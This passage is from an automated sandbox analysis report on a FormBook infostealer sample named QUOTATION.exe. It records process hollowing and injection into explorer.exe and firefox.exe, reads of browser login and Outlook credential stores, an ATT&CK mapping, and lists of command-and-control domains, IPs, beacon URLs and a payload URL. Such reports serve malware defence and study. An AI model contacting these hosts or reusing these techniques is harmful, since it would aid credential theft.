Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33722500 mov eax, dword ptr fs:[00000030h]	8_2_33722500
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E507 mov eax, dword ptr fs:[00000030h]	8_2_3374E507
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E507 mov eax, dword ptr fs:[00000030h]	8_2_3374E507
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E507 mov eax, dword ptr fs:[00000030h]	8_2_3374E507
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E507 mov eax, dword ptr fs:[00000030h]	8_2_3374E507
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E507 mov eax, dword ptr fs:[00000030h]	8_2_3374E507

Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_00402DC4 GetTempPathA,GetTickCount,GetModuleFileNameA,GetFileSize,LdrInitializeThunk,GlobalAlloc,SetFilePointer,

2_2_00402DC4

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 91.184.0.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.194.145.38 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 199.192.26.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.217 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.56.79.23 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.215.156.6 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.117.168.233 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.45.96 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 81.17.18.196 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.83.160.9 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 208.91.197.91 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 81.17.29.148 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 88.212.206.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 2.57.90.16 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\QUOTATION.exe

Section unmapped: C:\Windows\SysWOW64\help.exe base address: 9B0000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\QUOTATION.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\help.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF793FC0000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\help.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF793FC0000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\QUOTATION.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\QUOTATION.exe	Thread register set: target process: 4812			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 4812			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe	Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe			Jump to behavior

Source: explorer.exe, 00000009.00000000.4199991532.0000000001530000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.7998474885.0000000001530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000009.00000000.4199991532.0000000001530000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.8008145351.0000000004CC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.7998474885.0000000001530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000009.00000000.4199991532.0000000001530000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.4198190622.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.7993734219.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000009.00000000.4217880966.000000000D0E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4747873788.000000000D0E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8021127369.000000000D0A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndL
Source: explorer.exe, 00000009.00000000.4199991532.0000000001530000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.7998474885.0000000001530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\QUOTATION.exe

2_2_00403235

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	1 Access Token Manipulation	2 Obfuscated Files or Information	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	712 Process Injection	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Timestomp	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	712 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QUOTATION.exe	28%	Virustotal		Browse
QUOTATION.exe	33%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\libpkcs11-helper-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\maintenanceservice2.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\percentile.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.Security.Cryptography.X509Certificates.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\libdatrie-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.2.help.exe.3d73814.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
9.2.explorer.exe.142b3814.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.0.QUOTATION.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
8.0.QUOTATION.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
11.2.firefox.exe.5ce3814.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.QUOTATION.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File

Domains

Source	Detection	Scanner	Label	Link
td-ccm-168-233.wixdns.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.dexmart.xyz/d91r/	0%	Avira URL Cloud	safe
http://schemas.microsoft.c	0%	Avira URL Cloud	safe
http://www.184411.com	0%	Avira URL Cloud	safe
http://www.popularartprints.orgT	0%	Avira URL Cloud	safe
http://www.eta-trader.netwww.funvacayflorida.com	0%	Avira URL Cloud	safe
http://www.interactive-media.ru/d91r/	0%	Avira URL Cloud	safe
http://www.solya-shop.com/d91r/	0%	Avira URL Cloud	safe
http://www.texasgent.comwww.brightfms.com	0%	Avira URL Cloud	safe
http://www.184411.com/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/report?cat=msn	0%	Avira URL Cloud	safe
http://www.buymyenergy.com/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.184411.com/d91r/	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.fantasticserver.yachts/d91r/	0%	Avira URL Cloud	safe
http://www.dexmart.xyz/d91r/?pO=mny6VZKrhd/9NKVuKuT/s/SGWqKgSQU06gLLPmpyieItdUR08ut5ldoEEciwTOIy3aXJmehMaME22hMIN/PsdP4yT3Vly6kaHw==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.b-tek.media/d91r/	0%	Avira URL Cloud	safe
http://www.finelinetackdirect.com/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.maxhaidt.com/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.interactive-media.ru/d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.funvacayflorida.com/?fp=dj8phrx%2FM7zn2%2BQxIl96VISg%2BlRAUkJF1tnEn7z1%2BPtQiCFpqnDhHGDoC	0%	Avira URL Cloud	safe
http://www.eta-trader.net	0%	Avira URL Cloud	safe
http://www.popularartprints.org/d91r/ldE8Xu=oYWDxG4UFF1	0%	Avira URL Cloud	safe
https://www.wittofitentertainment.com/VeHZpcMYNF28.bin(	0%	Avira URL Cloud	safe
http://www.dexmart.xyzwww.finelinetackdirect.com	0%	Avira URL Cloud	safe
http://www.maxhaidt.comwww.aznqmd.com	0%	Avira URL Cloud	safe
http://www.ghostdyes.net/d91r/	0%	Avira URL Cloud	safe
http://www.funvacayflorida.com/d91r/	0%	Avira URL Cloud	safe
http://www.dhiyasecurities.comwww.popularartprints.org	0%	Avira URL Cloud	safe
http://www.solya-shop.com/d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.solya-shop.comwww.buymyenergy.com	0%	Avira URL Cloud	safe
http://www.solya-shop.com	0%	Avira URL Cloud	safe
http://www.finelinetackdirect.comwww.maxhaidt.com	0%	Avira URL Cloud	safe
http://www.texasgent.com/d91r/	0%	Avira URL Cloud	safe
http://www.www.fantasticserver.yachts	0%	Avira URL Cloud	safe
http://www.brightfms.comwww.eta-trader.net	0%	Avira URL Cloud	safe
http://www.brightfms.com/d91r/?8H7gL=Bxcfm_qbbEGm&ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhd	0%	Avira URL Cloud	safe
http://www.ghostdyes.net	0%	Avira URL Cloud	safe
http://www.popularartprints.org/d91r/	0%	Avira URL Cloud	safe
http://www.b-tek.mediawww.dexmart.xyz	0%	Avira URL Cloud	safe
http://www.flaviosilva.online	0%	Avira URL Cloud	safe
http://www.dexmart.xyz/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.brightfms.com/d91r/?pO=BFqfPYQ6Rc2mbekoZnhhN28rIM4KcYUdKeGPb5qgdPRiCoEueOOZiURhvdwkEmvoJvWE5RZiBCNwm7zhRu2A+WCDMptVnP5c5Q==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.brightfms.com	0%	Avira URL Cloud	safe
http://www.cardinialethanol.com/d91r/	0%	Avira URL Cloud	safe
http://www.buymyenergy.comwww.184411.com	0%	Avira URL Cloud	safe
http://www.flaviosilva.onlinewww.solya-shop.com	0%	Avira URL Cloud	safe
http://www.aznqmd.comwww.	0%	Avira URL Cloud	safe
http://www.aznqmd.com/d91r/?pO=PMnnsBn+KIOLN/VfOifa/NU1HKCRW97HYgMDorQQf0wo2T3aBqzEKnmyN0lZa7FB9krY/amKEMrac7kP3KvtrQL60DCopbH9IA==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.eta-trader.net/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
https://word.office.com(	0%	Avira URL Cloud	safe
http://www.fantasticserver.yachts/d91r/ldE8Xu=oYWDxG4UFF1	0%	Avira URL Cloud	safe
http://www.fantasticserver.yachtswww.dhiyasecurities.com	0%	Avira URL Cloud	safe
http://www.texasgent.com/d91r/?pO=Cz7EdLoZVVVFkl6Al85Fq2yKknQr9MrL8MY+iTrjKvcqeI67VNXHoBdgAYm0xOpsMAVI5pfYswEw4evz8uHbKlZcCugzfDdIKQ==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.buymyenergy.com	0%	Avira URL Cloud	safe
http://23.83.160.2:88/tz.php?ref=	0%	Avira URL Cloud	safe
http://www.funvacayflorida.comT	0%	Avira URL Cloud	safe
http://www.aznqmd.com	0%	Avira URL Cloud	safe
http://www.dhiyasecurities.com/d91r/ldE8Xu=oYWDxG4UFF1	0%	Avira URL Cloud	safe
http://www.cardinialethanol.com	0%	Avira URL Cloud	safe
http://www.cardinialethanol.com/d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe
http://www.b-tek.media	0%	Avira URL Cloud	safe
http://www.flaviosilva.online/d91r/	0%	Avira URL Cloud	safe
http://www.ghostdyes.net/d91r/8H7gL=Bxcfm_qbbEGm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.buymyenergy.com	45.194.145.38	true	true		unknown
www.cardinialethanol.com	45.56.79.23	true	true		unknown
td-ccm-168-233.wixdns.net	34.117.168.233	true	true	0%, Virustotal, Browse	unknown
eta-trader.net	2.57.90.16	true	true		unknown
bb.zhanghonghong.com	154.215.156.6	true	true		unknown
www.solya-shop.com	217.160.0.217	true	true		unknown
www.funvacayflorida.com	208.91.197.91	true	true		unknown
www.aznqmd.com	23.83.160.9	true	true		unknown
www.b-tek.media	91.184.0.24	true	true		unknown
www.dexmart.xyz	199.192.26.35	true	true		unknown
www.texasgent.com	81.17.29.148	true	true		unknown
www.maxhaidt.com	104.21.45.96	true	true		unknown
www.wittofitentertainment.com	162.240.73.101	true	false		unknown
flaviosilva.online	2.57.90.16	true	true		unknown
www.interactive-media.ru	88.212.206.251	true	true		unknown
www.brightfms.com	81.17.18.196	true	true		unknown
www.flaviosilva.online	unknown	unknown	true		unknown
www.184411.com	unknown	unknown	true		unknown
www.eta-trader.net	unknown	unknown	true		unknown
www.finelinetackdirect.com	unknown	unknown	true		unknown
www.ghostdyes.net	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.solya-shop.com/d91r/	true	Avira URL Cloud: safe	unknown
http://www.dexmart.xyz/d91r/	true	Avira URL Cloud: safe	unknown
http://www.184411.com/d91r/	true	Avira URL Cloud: safe	unknown
http://www.b-tek.media/d91r/	true	Avira URL Cloud: safe	unknown
http://www.dexmart.xyz/d91r/?pO=mny6VZKrhd/9NKVuKuT/s/SGWqKgSQU06gLLPmpyieItdUR08ut5ldoEEciwTOIy3aXJmehMaME22hMIN/PsdP4yT3Vly6kaHw==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.interactive-media.ru/d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.ghostdyes.net/d91r/	true	Avira URL Cloud: safe	unknown
http://www.funvacayflorida.com/d91r/	true	Avira URL Cloud: safe	unknown
http://www.solya-shop.com/d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.texasgent.com/d91r/	true	Avira URL Cloud: safe	unknown
http://www.brightfms.com/d91r/?pO=BFqfPYQ6Rc2mbekoZnhhN28rIM4KcYUdKeGPb5qgdPRiCoEueOOZiURhvdwkEmvoJvWE5RZiBCNwm7zhRu2A+WCDMptVnP5c5Q==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.cardinialethanol.com/d91r/	true	Avira URL Cloud: safe	unknown
http://www.aznqmd.com/d91r/?pO=PMnnsBn+KIOLN/VfOifa/NU1HKCRW97HYgMDorQQf0wo2T3aBqzEKnmyN0lZa7FB9krY/amKEMrac7kP3KvtrQL60DCopbH9IA==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.texasgent.com/d91r/?pO=Cz7EdLoZVVVFkl6Al85Fq2yKknQr9MrL8MY+iTrjKvcqeI67VNXHoBdgAYm0xOpsMAVI5pfYswEw4evz8uHbKlZcCugzfDdIKQ==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.cardinialethanol.com/d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm	true	Avira URL Cloud: safe	unknown
http://www.flaviosilva.online/d91r/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.eta-trader.netwww.funvacayflorida.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	help.exe, 0000000A.00000002.8008447168.0000000007D95000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8008447168.0000000007E03000.00000004.00000020.00020000.00000000.sdmp, 4995H5Jfc.10.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	help.exe, 0000000A.00000002.8008447168.0000000007D95000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8008447168.0000000007E03000.00000004.00000020.00020000.00000000.sdmp, 4995H5Jfc.10.dr	false		high
http://www.184411.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.texasgent.comwww.brightfms.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	help.exe, 0000000A.00000002.8008447168.0000000007D95000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8008447168.0000000007E03000.00000004.00000020.00020000.00000000.sdmp, 4995H5Jfc.10.dr	false		high
http://www.popularartprints.orgT	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.interactive-media.ru/d91r/	explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.184411.com/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000009.00000000.4217880966.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6463260519.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4743238865.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6120364620.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8026780659.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6283225298.000000000D553000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	QUOTATION.exe, 00000008.00000001.3526150899.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
